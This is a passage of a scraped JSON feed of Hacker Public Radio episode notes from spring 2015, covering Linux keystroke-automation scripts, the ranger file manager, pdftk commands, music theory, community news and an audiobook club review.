                                                            \n
                                                            \n
                                                            \n\n

                                                            Go to grades. This example takes advantage of Firefox \"quick search.\" I start with a single quote to match the linked text \"grades\" and press the Return key (\\r) to follow the link:

                                                            \n\n
                                                            \n
                                                            $KEYPRESS "'grades\\r"
                                                            \n
                                                            \n\n

                                                            First Inbox. From any location within Thunderbird I can run this command and it executes the keystrokes to take me to the first inbox and put focus on the first message:

                                                            \n\n
                                                            xdotool key Control+k && $KEYPRESS "\\[Tab]\\[Home]\\[Left]\\[Right]\\[Down]" && sleep .2 && xdotool key Tab\n
                                                            \n\n

                                                            single ex staff. Type out an entire Lilypond template into an empty text editor window:

                                                            \n\n
                                                            xvkbd -xsendevent -secure -file "/path/to/single_ex_staff.ly"\n
                                                            \n\n

                                                            Paragraph Tags. Puts HTML paragraph tags around selected text:

                                                            \n\n
                                                            \n#!/bin/bash

                                                            KEYPRESS='xvkbd -xsendevent -secure -text'

                                                            xdotool key Control+c

                                                            $KEYPRESS '<p>'
                                                            xdotool key Control+v
                                                            $KEYPRESS '</p>'
                                                            \n
                                                            \n
                                                            \n\n

                                                            Launching commands with keystrokes in Openbox

                                                            \n\n

                                                            I normally use blather voice commands to launch the scripts and keystroke commands, but I have a handful of frequently-used commands that I launch using keystroke combos configured in the Openbox config file (~/.config/openbox/rc.xml on my system). This block configures the super+n key combo to launch my examplelink.sh script.

                                                            \n\n
                                                            \n
                                                            \n<keybind key="W-n">\n  <action name="Execute">\n\t<startupnotify>\n\t  <enabled>true</enabled>\n\t  <name>special</name>\n\t</startupnotify>\n\t<command>examplelink.sh</command>\n  </action>\n</keybind>\n
                                                            \n
                                                            \n\n

                                                            Links

                                                            \n\n\n","hostid":238,"series":79,"explicit":0,"license":"CC-BY-SA","tags":"Accessibility, Linux, scripting, command line","version":0,"downloads":0,"valid":1}, {"id":1751,"date":"2015-04-20","title":"How I got into Linux","duration":1114,"summary":"How I got into linux, LFS and where I use Linux now.","notes":"

                                                            \nMy third show, its my How I got into Linux show, Crunchbang for the win, thank you Corenominal. \n

                                                            \n

                                                            \nI actually wrote some of this up before I recorded my first show. I wasn't happy that I did a good enough job originally. However I decided to make use of a rainy day and get it updated and recorded. I cut out a chunk of rambling about floppy drive cleaners, and stuck some more up to date info on the end.\n

                                                            ","hostid":240,"series":29,"explicit":0,"license":"CC-BY-SA","tags":"Crunchbang","version":0,"downloads":0,"valid":1}, {"id":1752,"date":"2015-04-21","title":"Penguicon 2015 Promo","duration":1838,"summary":"Penguicon 2015 happens on April 24-26, 2015 in Southfield, Michigan","notes":"

                                                            \nPenguicon 2015 is a combined technology and sicence fiction convention in Southfield, Michigan, a suburb of Detroit, and will present over 350 hours of programming over the entire weekend. Of this, around 100 hours are open source, tech-related. In this episode I try to cover the coming attractions of the weekend and maybe entice some people to come join us. It will be a great weekend.\n

                                                            \n\n

                                                            Links:

                                                            \n\n","hostid":198,"series":96,"explicit":0,"license":"CC-BY-SA","tags":"Penguicon,Open Source,Science Fiction,Convention","version":0,"downloads":0,"valid":1}, {"id":1753,"date":"2015-04-22","title":"Introducing a 5 year old to Sugar on Toast","duration":901,"summary":"This is a podcast in Spanglish (some spanish, some english) with a 5 year old and a 1 year old.","notes":"

                                                            \nThis was me introducing my 5 year old to her new laptop with Sugar on Toast. \n

                                                            \n

                                                            \nA family member had no use for an old 7 year old netbook so I installed the trisquel version of Sugar, the one laptop per child operating system.\n

                                                            \n

                                                            \nThis is a response to this episode: https://hackerpublicradio.org/eps.php?id=1726 I find it ticks all the boxes. \n

                                                            \n

                                                            \nRecorded with a phone and spoken mainly in a different language. I did conversion to FLAC from a mono mp3 probably the same if I just uploaded the MP3 directly. No editing was done. \n

                                                            ","hostid":301,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"5 year old","version":0,"downloads":0,"valid":1}, {"id":1754,"date":"2015-04-23","title":"D7? Why Seven?","duration":832,"summary":"I explain what 7th chords are and when to use them.","notes":"

                                                            In this episode I respond to one of the community-requested topics (\"Music Theory\") and try to explain what seventh chords are and why they are used. Below are some of the terms that I use in the course of the discussion.

                                                            \n\n
                                                              \n
                                                            • Interval: The distance between two pitches (sounded either consecutively or simultaneously)
                                                            • \n
                                                            • Consonance: Relatively stable sound between two or more pitches
                                                            • \n
                                                            • Dissonance: Relatively unstable sound between two or more pitches. Dissonance often needs a "resolution" to consonance
                                                            • \n
                                                            • Chord: three or more notes sounded together
                                                            • \n
                                                            • Chord progression: a succession of chords
                                                            • \n
                                                            • Triad: a chord with 3 pitches, the adjacent pitches separated by the interval of the 3rd.
                                                            • \n
                                                            • Seventh chord: a chord with 4 pitches, the adjacent pitches separated by the interval of the 3rd.
                                                            • \n
                                                            • Tonality: harmonic system that governs the use of major and minor keys
                                                            • \n
                                                            • Tonic: the central tone of a piece of music
                                                            • \n
                                                            • Mode: major or minor [e.g. Symphony no. 5 in C minor]
                                                            • \n
                                                            • Modulation: the process of changing keys within a piece of music
                                                            • \n
                                                            • Scale: Ascending or descending series of notes that define a key or tonality, with a specific arrangements of half-steps and whole-steps. Major and Minor scales are most common in Western music
                                                            • \n
                                                            \n\n\n

                                                            Free public-domain music reference book: Music Notation and Terminology by Karl Wilson Gehrkens: https://www.gutenberg.org/ebooks/19499 (see ch. 18)

                                                            \n\n

                                                            Free Online Music Dictionary: https://dictionary.onmusic.org/

                                                            ","hostid":238,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"chords, music theory, music, harmony","version":0,"downloads":0,"valid":1}, {"id":1755,"date":"2015-04-24","title":"52 - LibreOffice Impress - Moving Around","duration":814,"summary":"Introduction to the Impress application screen layout.","notes":"

                                                            \nNow we can start to take a look at the actual Impress application, and we begin by looking a how the program is laid out on the screen. Knowing where to find key features is important in using the program efficiently.\nFor more go to https://www.ahuka.com/?page_id=1112\n

                                                            ","hostid":198,"series":70,"explicit":0,"license":"CC-BY-SA","tags":"LibreOffice, Impress, Presentations, navigation","version":0,"downloads":0,"valid":1}, {"id":1756,"date":"2015-04-27","title":"Ranger File Manager","duration":1340,"summary":"Introduction to the ranger command line file manager","notes":"

                                                            From Man Page:

                                                            \n
                                                            \n

                                                            DESCRIPTION
                                                            ranger is a console file manager with VI key bindings. It provides a minimalistic and nice curses interface with a view on the directory hierarchy. The secondary task of ranger is to figure out which program you want to use to open your files with.

                                                            \n

                                                            This manual mainly contains information on the usage of ranger. Refer to the README for install instructions and to doc/HACKING for development specific information. For configuration, see the files in ranger/config. They are usually installed to /etc/ranger/config and can be obtained with ranger's --copy-config option.

                                                            \n

                                                            Inside ranger, you can press 1? for a list of key bindings, 2? for a list of commands and 3? for a list of settings.

                                                            \n
                                                            \n
                                                              \n
                                                            • Project page: https://ranger.nongnu.org/. Has pretty good documentation
                                                            • \n
                                                            • Available on Debian, Arch, Probably others, git and mailing list available as well.
                                                            • \n
                                                            \n

                                                            \"screenshot\"

                                                            \n

                                                            Features

                                                            \n
                                                              \n
                                                            • 3-pane view:
                                                                \n
                                                              • Previous -> current -> next
                                                              • \n
                                                              • When current is a file, uses file magic and other programs to preview the file
                                                              • \n
                                                              • optional dependencies for previews:
                                                                  \n
                                                                • img2txt from caca-utils for ASCII-art
                                                                • \n
                                                                • highlight for syntax highlights
                                                                • \n
                                                                • atool for archives
                                                                • \n
                                                                • lynx/w3m/elinks for html
                                                                • \n
                                                                • pdftotext for pdfs
                                                                • \n
                                                                • transmission-show for bittorrent information
                                                                • \n
                                                                • mediainfo or exiftool for mediafile info
                                                                • \n
                                                                \n
                                                              • \n
                                                              • Color coded, with three themes to choose from
                                                              • \n
                                                              • One more over to the right opens the file from other programs
                                                              • \n
                                                              \n
                                                            • \n
                                                            \n

                                                            Configuration

                                                            \n
                                                              \n
                                                            • located in ~/.config/ranger directory
                                                            • \n
                                                            • rc.conf = keybindings and settings
                                                            • \n
                                                            • commands.py = command-mode items
                                                            • \n
                                                            • rifle.conf = file launcher options, which let you make custom file opener commands
                                                            • \n
                                                            • scope.sh = custom file preview scripts, like mdview
                                                            • \n
                                                            \n

                                                            Navigation

                                                            \n
                                                              \n
                                                            • up, down, left, right, or h,j,k,l
                                                            • \n
                                                            • gg top G Bottom
                                                            • \n
                                                            • E edit
                                                            • \n
                                                            • pageup/down
                                                            • \n
                                                            \n

                                                            Command commands

                                                            \n
                                                              \n
                                                            • spacebar to mark or :mark for pattern
                                                            • \n
                                                            • dd, yy, pp
                                                            • \n
                                                            • :touch, :mkdir, :grep
                                                            • \n
                                                            • del
                                                            • \n
                                                            • rename and bulkrename (change from ranger.container.file import File to .fsobject.)
                                                            • \n
                                                            • zh - toggle hidden
                                                            • \n
                                                            • gn - new tab, gt or gT to navigate tabs
                                                            • \n
                                                            • / search vile
                                                            • \n
                                                            • V visual mode
                                                            • \n
                                                            • :open_with
                                                            • \n
                                                            • 1? = list key bindings
                                                            • \n
                                                            • 2? list commands
                                                            • \n
                                                            • 3? list settings
                                                            • \n
                                                            • ? main help
                                                            • \n
                                                            ","hostid":300,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"ranger,file manager,console","version":0,"downloads":0,"valid":1}, {"id":1757,"date":"2015-04-28","title":"Useful Bash functions","duration":1662,"summary":"Some Bash functions that may be of use in your scripts","notes":"

                                                            Overview

                                                            \n

                                                            I enjoy writing Bash scripts to solve various problems. In particular I have a number of scripts I use to manage the process of preparing a show for HPR, which I am developing at the moment.

                                                            \n

                                                            My more complex Bash scripts use a lot of functions to perform the various tasks, and, in the nature of things, some of these functions can be of use in other scripts and are shared between them.

                                                            \n

                                                            I thought I would share some of these functions with HPR listeners in the hopes that they might be useful. It would also be interesting to receive feedback on these functions and would be great if other Bash users contributed ideas of their own.

                                                            \n

                                                            Full Notes

                                                            \n

                                                            Since the notes explaining this subject are long, they are in a separate file which can be found here. An experimental ePub version is available by clicking this link.

                                                            \n

                                                            Links

                                                            \n
                                                              \n
                                                            1. Bash Support Vim plugin: https://www.vim.org/scripts/script.php?script_id=365
                                                            2. \n
                                                            3. HPR episode Bash parameter manipulation: https://hackerpublicradio.org/eps/hpr1648/
                                                            4. \n
                                                            5. How to write functions (from The Linux Documentation Project):\n
                                                            6. \n
                                                            7. Download the pad and yes_no functions
                                                            8. \n
                                                            \n","hostid":225,"series":42,"explicit":1,"license":"CC-BY-SA","tags":"coding,Bash,script,function","version":0,"downloads":0,"valid":1}, {"id":1758,"date":"2015-04-29","title":"Cool Stuff part 3","duration":1543,"summary":"CPrompt talks about some more cool stuff for you to check out!","notes":"

                                                            Radiotopia

                                                            \n\n

                                                            \nhttps://www.radiotopia.fm/\n

                                                            \n

                                                            \nA part of PRX (Public Radio Exchange), they are a collection of story-driven podcasts sponsored in part\nby the Knight Foundation.\n

                                                            \n

                                                            \nPRX : https://www.prx.org/\n

                                                            \n

                                                            \nKnight Foundation : https://www.knightfoundation.org\n

                                                            \n

                                                            \nHeaded up by their flagship podcast 99% Invisible which is based on architecture and design and hosted by \nRoman Mars\n

                                                            \n\n

                                                            urxvt256c

                                                            \n\n

                                                            \nrxvt = Roberts XVT. X = X Window System, VT = VT102 terminal\n

                                                            \n

                                                            \nVT Terminal : https://www.en.wikipedia.org/wiki/VT100\n

                                                            \n

                                                            \nrxvt started as a replacement for xterm. Written by Rob Nation\nhttps://en.wikipedia.org/wiki/Rxvt\n

                                                            \n

                                                            \nForked by Marc Lehmann and called rxvt-unicode or urxvt. \nGave features such as transparency, Perl extensions and better font support\nhttps://en.wikipedia.org/wiki/Rxvt-unicode\n

                                                            \n

                                                            \nUses the .xdefaults configuration file in your home directory for customizations.\n

                                                            \n\n

                                                            Phil Plait's Crash Course Astronomy

                                                            \n\n

                                                            \nAlso known as The Bad Astronomer\n

                                                            \n

                                                            \nWikipedia : https://en.wikipedia.org/wiki/Phil_Plait\n

                                                            \n

                                                            \nBlogs at Slate : https://www.slate.com/authors.phil_plait.html\n

                                                            \n

                                                            \nTed Talks : https://www.ted.com/speakers/phil_plait\n

                                                            \n

                                                            \nCrash Course on YouTube:\nhttps://www.youtube.com/playlist?list=PL8dPuuaLjXtPAJr1ysd5yGIyiSFuh0mIL\n

                                                            ","hostid":252,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Radiotopia,urxvt256c,astronomy","version":0,"downloads":0,"valid":1}, {"id":1759,"date":"2015-04-30","title":"A brief review of Firefox OS","duration":1007,"summary":"I recently bought a Geeksphone Revolution and this is my review of running Firefox OS on it.","notes":"

                                                            \nThis is phone I'm using: https://www.geeksphone.com/#the-phone\n

                                                            \n

                                                            \nAnd here are some useful links about Firefox OS:\n

                                                            \n

                                                            \nThe marketplace (app store): https://marketplace.firefox.com/\n

                                                            \n

                                                            \nThe marketing site: https://www.mozilla.org/en-US/firefox/os/2.0/\n

                                                            \n

                                                            \nDeveloper documentation: https://developer.mozilla.org/en-US/Firefox_OS\n

                                                            ","hostid":302,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"mobile,firefox,operating system,review","version":0,"downloads":0,"valid":1}, {"id":1760,"date":"2015-05-01","title":"pdftk: the PDF Toolkit","duration":1254,"summary":"Intro to the command-line pdf toolkit","notes":"

                                                            Hacking Apart and Re-Assembling PDFs

                                                            \n\n

                                                            Extract pages 3–5 from file foobar.pdf:

                                                            \n\n
                                                            \npdftk foobar.pdf cat 3-5 output excerpt.pdf\n
                                                            \n\n

                                                            Same thing but also grab the cover page:

                                                            \n\n
                                                            \npdftk foobar.pdf cat 1 3-5 output excerpt.pdf\n
                                                            \n\n

                                                            Combine multiple PDFs:

                                                            \n\n
                                                            \npdftk file1.pdf file2.pdf file3.pdf cat output combined.pdf\n
                                                            \n\n

                                                            Reassemble a 50-page document with all of the pages in reverse order (I once actually did this for my wife and she was very grateful—she had scanned an article at the library and it ended up with all of the pages in the wrong order from last to first. This command solved her problem in about one second.):

                                                            \n\n
                                                            \npdftk wrongorder.pdf cat 50-1 output rightorder.pdf\n
                                                            \n\n

                                                            Check the pdftk man page for all kinds of other manipulations you can do, including \"bursting\" a PDF into its component pages, rotating pages in any direction, applying password protection, etc.

                                                            \n\n

                                                            Embedding “Bookmarks” as a Table of Contents

                                                            \n\n

                                                            You can also use pdftk to embed a table of contents in a flat PDF file. This is incredibly useful, as it can make large, unwieldy files very easy to navigate. All you have to do is add some bookmark data in a fairly straightforward format as shown below. As a starting point you should that dump the current metadata content of the file with this command:

                                                            \n\n
                                                            \npdftk foobar.pdf dump_data_utf8\n
                                                            \n\n

                                                            Save the contents of this data dump in a text file and then add bookmark information just below the NumberOfPages value. Here is an excerpt from the huge anthology of public-domain scores I assembled for my music history class:

                                                            \n\n
                                                            \nInfoBegin\nInfoKey: ModDate\nInfoValue: D:20150106100000-06'00'\nInfoBegin\nInfoKey: CreationDate\nInfoValue: D:20150106100000-06'00'\nInfoBegin\nInfoKey: Creator\nInfoValue: pdftk 2.02 - www.pdftk.com\nInfoBegin\nInfoKey: Producer\nInfoValue: itext-paulo-155 (itextpdf.sf.net-lowagie.com)\nPdfID0: ece858bf9affbcad3b575cf3891a187f\nPdfID1: 23f89459e103dd43c6e7bc92028245c0\nNumberOfPages: 765\nBookmarkBegin\nBookmarkTitle: Beethoven: Symphony no. 5 in C minor Op. 67\nBookmarkLevel: 1\nBookmarkPageNumber: 205\nBookmarkBegin\nBookmarkTitle: Beethoven 5: I. Allegro con brio\nBookmarkLevel: 2\nBookmarkPageNumber: 205\nBookmarkBegin\nBookmarkTitle: Beethoven 5: II. Andante con moto\nBookmarkLevel: 2\nBookmarkPageNumber: 235\nBookmarkBegin\nBookmarkTitle: Beethoven 5: III. Allegro\nBookmarkLevel: 2\nBookmarkPageNumber: 256\nBookmarkBegin\nBookmarkTitle: Beethoven 5: IV. Allegro\nBookmarkLevel: 2\nBookmarkPageNumber: 275\n
                                                            \n\n

                                                            And here is the command to update the PDF with the table of contents embedded. This tells it to take the input file foobar.pdf and update its metadata using the file foobar.info (with utf8 encoding) and output the results as foobar_with_toc.pdf.

                                                            \n\n
                                                            \npdftk foobar.pdf update_info_utf8 foobar.info output foobar_with_toc.pdf\n
                                                            \n\n

                                                            Links

                                                            \n\n\n\n\n

                                                            Update

                                                            \n

                                                            I made a screencast as a follow-up, showing the process of embedding bookmarks to make a table of contents:\nhttps://m.youtube.com/watch?v=5dv_02v0zzc

                                                            \n","hostid":238,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"pdftk,pdf","version":0,"downloads":0,"valid":1}, {"id":1761,"date":"2015-05-04","title":"HPR Community News for April 2015","duration":4000,"summary":"HPR Community News for April 2015","notes":"\n

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new hosts:
                                                            \n amp, \n Stilvoid.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
                                                            IdDayDateTitleHost
                                                            1738Wed2015-04-01Credit Card PIN breachVarious Hosts
                                                            1739Thu2015-04-02Theater of the Imagination: Part 07lostnbronx
                                                            1740Fri2015-04-03Mailing List EtiquetteDave Morriss
                                                            1741Mon2015-04-06HPR Community News for March 2015HPR Volunteers
                                                            1742Tue2015-04-07How to Get Yourself On an Open Source Podcast - Presentation for Kansas Linux Fest, 22 March 2015FiftyOneFifty
                                                            1743Wed2015-04-08Scale 13x Part 1 of 6Lord Drachenblut
                                                            1744Thu2015-04-09Scale 13x Part 2 of 6Lord Drachenblut
                                                            1745Fri2015-04-1051 - LibreOffice Impress - Overview and GuidanceAhuka
                                                            1746Mon2015-04-13Scale 13x Part 3 of 6Lord Drachenblut
                                                            1747Tue2015-04-14Scale 13x Part 4 of 6Lord Drachenblut
                                                            1748Wed2015-04-15Scale 13x Part 5 of 6Lord Drachenblut
                                                            1749Thu2015-04-16Scale 13x Part 6 of 6Lord Drachenblut
                                                            1750Fri2015-04-17xclip, xdotool, xvkbd: 3 CLI Linux tools for RSI sufferersJon Kulp
                                                            1751Mon2015-04-20How I got into LinuxSteve Bickle
                                                            1752Tue2015-04-21Penguicon 2015 PromoAhuka
                                                            1753Wed2015-04-22Introducing a 5 year old to Sugar on Toastamp
                                                            1754Thu2015-04-23D7? Why Seven?Jon Kulp
                                                            1755Fri2015-04-2452 - LibreOffice Impress - Moving AroundAhuka
                                                            1756Mon2015-04-27Ranger File ManagerMr. Young
                                                            1757Tue2015-04-28Useful Bash functionsDave Morriss
                                                            1758Wed2015-04-29Cool Stuff part 3Curtis Adkins (CPrompt^)
                                                            1759Thu2015-04-30A brief review of Firefox OSStilvoid
                                                            \n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This discussion takes\nplace on the Mail List which is open to all\nHPR listeners and contributors. The discussions are open and available on the\nGmane\narchive.\n

                                                            \n

                                                            \nThe main threads this month were:\n

                                                            \n
                                                              \n
                                                            1. From: James Toebes <james@...>
                                                              \n Date: 2015-04-01 09:58:54 -0400
                                                              \n Subject: hpr1738 :: Credit Card PIN breach - THANK YOU HPR!
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/801
                                                              \n Messages: 1

                                                            2. \n
                                                            3. From: Mike Ray <mike@...>
                                                              \n Date: 2015-04-02 11:07:50 +0100
                                                              \n Subject: Site links
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/802
                                                              \n Messages: 4

                                                            4. \n
                                                            5. From: Mike Ray <mike@...>
                                                              \n Date: 2015-04-02 23:16:34 +0100
                                                              \n Subject: Off-topic: LibreOffice Calc questions
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/804
                                                              \n Messages: 3

                                                            6. \n
                                                            7. From: Jon Kulp <jonlancekulp@...>
                                                              \n Date: 2015-04-02 20:16:51 -0500
                                                              \n Subject: HPR Email Bot malfunctioning?
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/807
                                                              \n Messages: 3

                                                            8. \n
                                                            9. From: David Whitman <davidglennwhitman@...>
                                                              \n Date: 2015-04-04 12:08:23 -0700
                                                              \n Subject: Please reserve July 8 for davidWHITMAN
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/812
                                                              \n Messages: 1

                                                            10. \n
                                                            11. From: Fifty OneFifty <fiftyonefifty@...>
                                                              \n Date: 2015-04-04 14:56:04 -0500
                                                              \n Subject: Who needs the Zoom H1 interview recorder next?
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/813
                                                              \n Messages: 4

                                                            12. \n
                                                            13. From: Jon Kulp <jonlancekulp@...>
                                                              \n Date: 2015-04-04 15:29:32 -0500
                                                              \n Subject: Screencast: putting embedded audio into the ebooks
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/817
                                                              \n Messages: 3

                                                            14. \n
                                                            15. From: Jonathan Kulp <jonlancekulp@...>
                                                              \n Date: 2015-04-07 10:08:48 -0500
                                                              \n Subject: Reserve May 11?
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/820
                                                              \n Messages: 1

                                                            16. \n
                                                            17. From: Mike Ray <mike@...>
                                                              \n Date: 2015-04-08 22:59:32 +0100
                                                              \n Subject: LibreOffice Font Question
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/821
                                                              \n Messages: 3

                                                            18. \n
                                                            19. From: Mike Ray <mike@...>
                                                              \n Date: 2015-04-14 23:03:39 +0100
                                                              \n Subject: archive.org API?
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/824
                                                              \n Messages: 6

                                                            20. \n
                                                            21. From: Ken Fallon <ken@...>
                                                              \n Date: 2015-04-16 20:04:21 +0200
                                                              \n Subject: Disabling CSS on HPR for some tests
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/830
                                                              \n Messages: 3

                                                            22. \n
                                                            23. From: Ken Fallon <ken@...>
                                                              \n Date: 2015-04-24 13:31:56 +0200
                                                              \n Subject: FTP Password has been Changed
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/833
                                                              \n Messages: 1

                                                            24. \n
                                                            25. From: Dave Morriss <perloid@...>
                                                              \n Date: 2015-04-28 21:52:55 +0100
                                                              \n Subject: HPR Community News - next Saturday on 2015-05-02T18:00:00Z
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/834
                                                              \n Messages: 1

                                                            26. \n
                                                            27. From: Ken Fallon <ken@...>
                                                              \n Date: 2015-04-29 09:50:05 +0200
                                                              \n Subject: Re: Hack in the Box Amsterdam security conference
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/835
                                                              \n Messages: 1

                                                            28. \n
                                                            \n

                                                            \nTotal messages this month: 35\n

                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            There are 24 comments:

                                                            \n
                                                              \n
                                                            • hpr1726\n(2015-03-16) \"15 Excuses not to Record a show for HPR\"\nby Knightwise.\n
                                                              • Comment 3:\nAndres on 2015-04-06:\n\"I uploaded one as a result of this\"
                                                              • \n

                                                            • \n
                                                            • hpr1732\n(2015-03-24) \"Renovating another Public-Domain Counterpoint Textbook\"\nby Jon Kulp.\n
                                                              • Comment 2:\nRobert Stackhouse on 2015-03-31:\n\"Slashes\"
                                                              • Comment 3:\nJonathan Kulp on 2015-04-05:\n\"How do I do this? Watch this screen capture and see\"
                                                              • \n

                                                            • \n
                                                            • hpr1738\n(2015-04-01) \"Credit Card PIN breach\"\nby Various Hosts.\n
                                                              • Comment 1:\nJimZat on 2015-04-01:\n\"Enlightening!\"
                                                              • \n

                                                            • \n
                                                            • hpr1741\n(2015-04-06) \"HPR Community News for March 2015\"\nby HPR Volunteers.\n
                                                              • Comment 1:\nMike Ray on 2015-04-06:\n\"Pearls before swine\"
                                                              • \n

                                                            • \n
                                                            • hpr1749\n(2015-04-16) \"Scale 13x Part 6 of 6\"\nby Lord Drachenblut.\n
                                                              • Comment 1:\nJon Kulp on 2015-04-16:\n\"inspirational!\"
                                                              • \n

                                                            • \n
                                                            • hpr1750\n(2015-04-17) \"xclip, xdotool, xvkbd: 3 CLI Linux tools for RSI sufferers\"\nby Jon Kulp.\n
                                                              • Comment 1:\nJon Kulp on 2015-04-17:\n\"Correction/Improvement\"
                                                              • Comment 2:\nDave Morriss on 2015-04-21:\n\"Fascinating stuff\"
                                                              • Comment 3:\nMike Ray on 2015-04-21:\n\"Terrific podcast\"
                                                              • Comment 4:\nJon Kulp on 2015-04-21:\n\"Thanks Mike; Response to Dave\"
                                                              • Comment 5:\nJon Kulp on 2015-04-22:\n\"Mike: ping me for help\"
                                                              • Comment 6:\nMike Ray on 2015-04-23:\n\"Blather and xvkbd as shortcuts in Debian\"
                                                              • \n

                                                            • \n
                                                            • hpr1754\n(2015-04-23) \"D7? Why Seven?\"\nby Jon Kulp.\n
                                                              • Comment 1:\nFiftyOneFifty on 2015-04-10:\n\"Disapointed\"
                                                              • Comment 2:\nJon Kulp on 2015-04-22:\n\"confused\"
                                                              • Comment 3:\nthelovebug on 2015-04-28:\n\"Dmaj7\"
                                                              • \n

                                                            • \n
                                                            • hpr1756\n(2015-04-27) \"Ranger File Manager\"\nby Mr. Young.\n
                                                              • Comment 1:\nJon Kulp on 2015-04-28:\n\"Ranger is phenomenal\"
                                                              • \n

                                                            • \n
                                                            • hpr1757\n(2015-04-28) \"Useful Bash functions\"\nby Dave Morriss.\n
                                                              • Comment 1:\nBill Ricker on 2015-04-28:\n\"epub\"
                                                              • Comment 2:\nDave Morriss on 2015-04-28:\n\"Re: epub\"
                                                              • Comment 3:\n0xf10e on 2015-04-28:\n\"exitcodes\"
                                                              • Comment 4:\nDave Morriss on 2015-04-28:\n\"Re: exitcodes\"
                                                              • \n

                                                            • \n
                                                            • hpr1758\n(2015-04-29) \"Cool Stuff part 3\"\nby Curtis Adkins (CPrompt^).\n
                                                              • Comment 1:\nFiftyOneFifty on 2015-04-15:\n\"KITT\"
                                                              • Comment 2:\n0xf10e on 2015-04-29:\n\"VCS!\"
                                                              • Comment 3:\nCprompt^ on 2015-04-29:\n\"Re: VCS\"
                                                              • \n

                                                            • \n
                                                            • hpr1759\n(2015-04-30) \"A brief review of Firefox OS\"\nby Stilvoid.\n
                                                              • Comment 1:\nJon Kulp on 2015-04-30:\n\"Welcome Aboard \"
                                                              \n
                                                            • \n
                                                            \n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":1762,"date":"2015-05-05","title":"HPR Audio Book Club 10","duration":7043,"summary":"In this episode, the HPR_AudioBookClub reviews Revolution Radio by Seth Kenlon","notes":"

                                                            SUMMARY

                                                            \n

                                                            In this episode, the HPR_AudioBookClub reviews Revolution Radio by Seth Kenlon. You can download this AudioBook for free from https://aesdiopod.com/books/.

                                                            \n

                                                            Pre-Spoilers

                                                            \n
                                                              \n
                                                            • Thaj: I really loved this book. It hits me in a lot of the right spots as a person. I thought it had a very cinematic feel about it. I enjoyed the story, but in many ways I enjoyed the world it was set in even more.
                                                            • \n
                                                            • x1101: Slow start, but finally builds to a very engaging story exploring many interesting social and political issues
                                                            • \n
                                                            • Pokey: Slow start, really liked the story right from the start, but found the setting a little far fetched.
                                                            • \n
                                                            \n

                                                            We all liked the pace of the story, as well as the reading and the audio quality. Overall this is a very polished work, even though there is some noise intentionally added at times.

                                                            \n

                                                            BEVERAGE REVIEWS

                                                            \n

                                                            As usual, the HPR_AudioBookClub took some time to review the beverages that each of us were drinking during the episode

                                                            \n
                                                              \n
                                                            • Thaj: I am a sad panda because they grocery store had no lemons to make my AWESOME homemade lemonade. Unfortunately, I had to resort to pre-made lemonade that tastes like sugar water. Check this nutritional information
                                                            • \n
                                                            • x1101 Dogfish head 120 minute IPAThis beer has a nice hoppy and citrus nose to it with a smooth, silky mouth feel. This beverage features subtle hoppy notes and a slightly smoky finish. Also, ~15% ABV, so I might have been a touch loopy the rest of the show
                                                            • \n
                                                            • Pokey had a Sam Adams Summer Ale. Nice flavor, but not a lot of it. Refreshing with a hint of citrus. Very drinkable, but not mind blowing. I suspect this beer appeals to a wide audience. I've been on more of a \"specialty\" beer kick for a while, so this was almost disapointing.https://www.samueladams.com/craft-beers/summer-ale/
                                                            • \n
                                                            \n

                                                            Other Links

                                                            \n\n

                                                            OUR NEXT AUDIOBOOK

                                                            \n

                                                            Street Candles by David Collins-Rivera\n
                                                            https://www.cavalcadeaudio.com/stardrifter.html

                                                            \n

                                                            We're still really excited about this AudioBook not only because the author is an HPR community member (lostinbronx), but also because the book is really good!

                                                            \n

                                                            David Collins-Rivera's personal blog: https://www.cavalcadeaudio.com/index.html\n
                                                            David Collins-Rivera's HPR correspondent page: https://hackerpublicradio.org/correspondents/0107.html

                                                            \n

                                                            NEXT RECORDING

                                                            \n

                                                            Our next book club recording will be 2014/09/09T23:00:00+00:00. https://en.wikipedia.org/wiki/ISO_8601#Times If you'd like a Google calendar invite, or if you'd like to be on the HPR_AudioBookClub mailing list, please get in contact with us on the HPR mailing list 'hpr at hackerpublicradio dot org'

                                                            \n

